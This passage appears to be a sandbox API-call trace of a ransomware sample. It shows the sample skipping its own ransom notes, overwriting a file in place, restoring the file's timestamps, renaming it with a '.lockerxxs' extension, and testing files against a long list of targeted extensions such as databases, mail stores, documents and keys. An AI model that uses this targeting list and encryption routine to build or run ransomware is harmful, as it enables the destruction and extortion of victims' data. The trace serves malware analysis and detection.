HALPmcxz\\AppData\\Local\\Temp\\*.*") returned="*.*" [0086.829] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.829] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.829] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.829] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.829] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="XkyTFeM.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" [0086.829] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" [0086.829] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" [0086.829] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav." [0086.829] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav.lockerxxs" [0086.829] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xkytfem.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.830] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10909 [0086.830] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x3fca07d0, dwHighDateTime=0x1d5de81), lpLastAccessTime=0x407536*(dwLowDateTime=0xbf161da0, dwHighDateTime=0x1d5dc36), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbf161da0, dwHighDateTime=0x1d5dc36)) returned 1 [0086.830] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.830] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x108e3, lpOverlapped=0x0) returned 1 [0086.831] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav") returned="XkyTFeM.wav" [0086.832] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.832] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x108e3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x108e3, lpOverlapped=0x0) returned 1 [0086.832] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.832] CloseHandle (hObject=0x90) returned 1 [0086.833] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xkytfem.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xkytfem.wav.lockerxxs")) returned 1 [0086.834] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb72ed790, ftCreationTime.dwHighDateTime=0x1d5e473, ftLastAccessTime.dwLowDateTime=0xbd866ed0, ftLastAccessTime.dwHighDateTime=0x1d5dbe7, ftLastWriteTime.dwLowDateTime=0xbd866ed0, ftLastWriteTime.dwHighDateTime=0x1d5dbe7, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0xdc0001dd, dwReserved1=0x4e00c4, cFileName="y-B8zb1Zsskkl.bmp", cAlternateFileName="Y-B8ZB~1.BMP")) returned 1 [0086.834] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.834] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="y-B8zb1Zsskkl.bmp") returned -1 [0086.834] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="y-B8zb1Zsskkl.bmp") returned -1 [0086.834] lstrcmpiA (lpString1="", lpString2="y-B8zb1Zsskkl.bmp") returned -1 [0086.834] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XkyTFeM.wav") returned="XkyTFeM.wav" [0086.834] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.834] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.834] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.834] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.834] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="y-B8zb1Zsskkl.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp" [0086.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.ems") returned 0 [0086.834] lstrlenA (lpString="*.ems") returned 5 [0086.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.db") returned 0 [0086.834] lstrlenA (lpString="*.db") returned 4 [0086.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.dbf") returned 0 [0086.834] lstrlenA (lpString="*.dbf") returned 5 [0086.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.myox") returned 0 [0086.834] lstrlenA (lpString="*.myox") returned 6 [0086.834] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.myo") returned 0 [0086.835] lstrlenA (lpString="*.myo") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbw") returned 0 [0086.835] lstrlenA (lpString="*.qbw") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbb") returned 0 [0086.835] lstrlenA (lpString="*.qbb") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbm") returned 0 [0086.835] lstrlenA (lpString="*.qbm") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbo") returned 0 [0086.835] lstrlenA (lpString="*.qbo") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbx") returned 0 [0086.835] lstrlenA (lpString="*.qbx") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qba") returned 0 [0086.835] lstrlenA (lpString="*.qba") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qby") returned 0 [0086.835] lstrlenA (lpString="*.qby") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qbj") returned 0 [0086.835] lstrlenA (lpString="*.qbj") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.ofx") returned 0 [0086.835] lstrlenA (lpString="*.ofx") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.qif") returned 0 [0086.835] lstrlenA (lpString="*.qif") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mye") returned 0 [0086.835] lstrlenA (lpString="*.mye") returned 5 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mbox") returned 0 [0086.835] lstrlenA (lpString="*.mbox") returned 6 [0086.835] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.eml") returned 0 [0086.835] lstrlenA (lpString="*.eml") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.pst") returned 0 [0086.836] lstrlenA (lpString="*.pst") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.ost") returned 0 [0086.836] lstrlenA (lpString="*.ost") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.idx") returned 0 [0086.836] lstrlenA (lpString="*.idx") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.dbx") returned 0 [0086.836] lstrlenA (lpString="*.dbx") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.sql") returned 0 [0086.836] lstrlenA (lpString="*.sql") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mdb") returned 0 [0086.836] lstrlenA (lpString="*.mdb") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.fdb") returned 0 [0086.836] lstrlenA (lpString="*.fdb") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.wab") returned 0 [0086.836] lstrlenA (lpString="*.wab") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.dat") returned 0 [0086.836] lstrlenA (lpString="*.dat") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.txt") returned 0 [0086.836] lstrlenA (lpString="*.txt") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.jpeg") returned 0 [0086.836] lstrlenA (lpString="*.jpeg") returned 6 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.jpg") returned 0 [0086.836] lstrlenA (lpString="*.jpg") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.png") returned 0 [0086.836] lstrlenA (lpString="*.png") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.php") returned 0 [0086.836] lstrlenA (lpString="*.php") returned 5 [0086.836] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.cs") returned 0 [0086.836] lstrlenA (lpString="*.cs") returned 4 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.cpp") returned 0 [0086.837] lstrlenA (lpString="*.cpp") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.rar") returned 0 [0086.837] lstrlenA (lpString="*.rar") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.zip") returned 0 [0086.837] lstrlenA (lpString="*.zip") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.html") returned 0 [0086.837] lstrlenA (lpString="*.html") returned 6 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.htm") returned 0 [0086.837] lstrlenA (lpString="*.htm") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.xlsx") returned 0 [0086.837] lstrlenA (lpString="*.xlsx") returned 6 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.xls") returned 0 [0086.837] lstrlenA (lpString="*.xls") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mp4") returned 0 [0086.837] lstrlenA (lpString="*.mp4") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.ppt") returned 0 [0086.837] lstrlenA (lpString="*.ppt") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.pptx") returned 0 [0086.837] lstrlenA (lpString="*.pptx") returned 6 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.doc") returned 0 [0086.837] lstrlenA (lpString="*.doc") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.dot") returned 0 [0086.837] lstrlenA (lpString="*.dot") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.docx") returned 0 [0086.837] lstrlenA (lpString="*.docx") returned 6 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.7z") returned 0 [0086.837] lstrlenA (lpString="*.7z") returned 4 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.tar") returned 0 [0086.837] lstrlenA (lpString="*.tar") returned 5 [0086.837] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.bz2") returned 0 [0086.837] lstrlenA (lpString="*.bz2") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.gz") returned 0 [0086.838] lstrlenA (lpString="*.gz") returned 4 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mkv") returned 0 [0086.838] lstrlenA (lpString="*.mkv") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.eml") returned 0 [0086.838] lstrlenA (lpString="*.eml") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.msg") returned 0 [0086.838] lstrlenA (lpString="*.msg") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.edb") returned 0 [0086.838] lstrlenA (lpString="*.edb") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.accdb") returned 0 [0086.838] lstrlenA (lpString="*.accdb") returned 7 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.odb") returned 0 [0086.838] lstrlenA (lpString="*.odb") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.java") returned 0 [0086.838] lstrlenA (lpString="*.java") returned 6 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.asm") returned 0 [0086.838] lstrlenA (lpString="*.asm") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.pfx") returned 0 [0086.838] lstrlenA (lpString="*.pfx") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.pem") returned 0 [0086.838] lstrlenA (lpString="*.pem") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.p12") returned 0 [0086.838] lstrlenA (lpString="*.p12") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.gpg") returned 0 [0086.838] lstrlenA (lpString="*.gpg") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.vsd") returned 0 [0086.838] lstrlenA (lpString="*.vsd") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.odg") returned 0 [0086.838] lstrlenA (lpString="*.odg") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.raw") returned 0 [0086.838] lstrlenA (lpString="*.raw") returned 5 [0086.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.nef") returned 0 [0086.838] lstrlenA (lpString="*.nef") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.svg") returned 0 [0086.839] lstrlenA (lpString="*.svg") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.psd") returned 0 [0086.839] lstrlenA (lpString="*.psd") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.vmx") returned 0 [0086.839] lstrlenA (lpString="*.vmx") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.vmdk") returned 0 [0086.839] lstrlenA (lpString="*.vmdk") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.vdi") returned 0 [0086.839] lstrlenA (lpString="*.vdi") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.lay6") returned 0 [0086.839] lstrlenA (lpString="*.lay6") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mpeg") returned 0 [0086.839] lstrlenA (lpString="*.mpeg") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.djvu") returned 0 [0086.839] lstrlenA (lpString="*.djvu") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.tiff") returned 0 [0086.839] lstrlenA (lpString="*.tiff") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.backup") returned 0 [0086.839] lstrlenA (lpString="*.backup") returned 8 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.pdf") returned 0 [0086.839] lstrlenA (lpString="*.pdf") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.cert") returned 0 [0086.839] lstrlenA (lpString="*.cert") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.docm") returned 0 [0086.839] lstrlenA (lpString="*.docm") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.xlsm") returned 0 [0086.839] lstrlenA (lpString="*.xlsm") returned 6 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.dwg") returned 0 [0086.839] lstrlenA (lpString="*.dwg") returned 5 [0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.nd") returned 0 [0086.839] lstrlenA (lpString="*.nd") returned 4 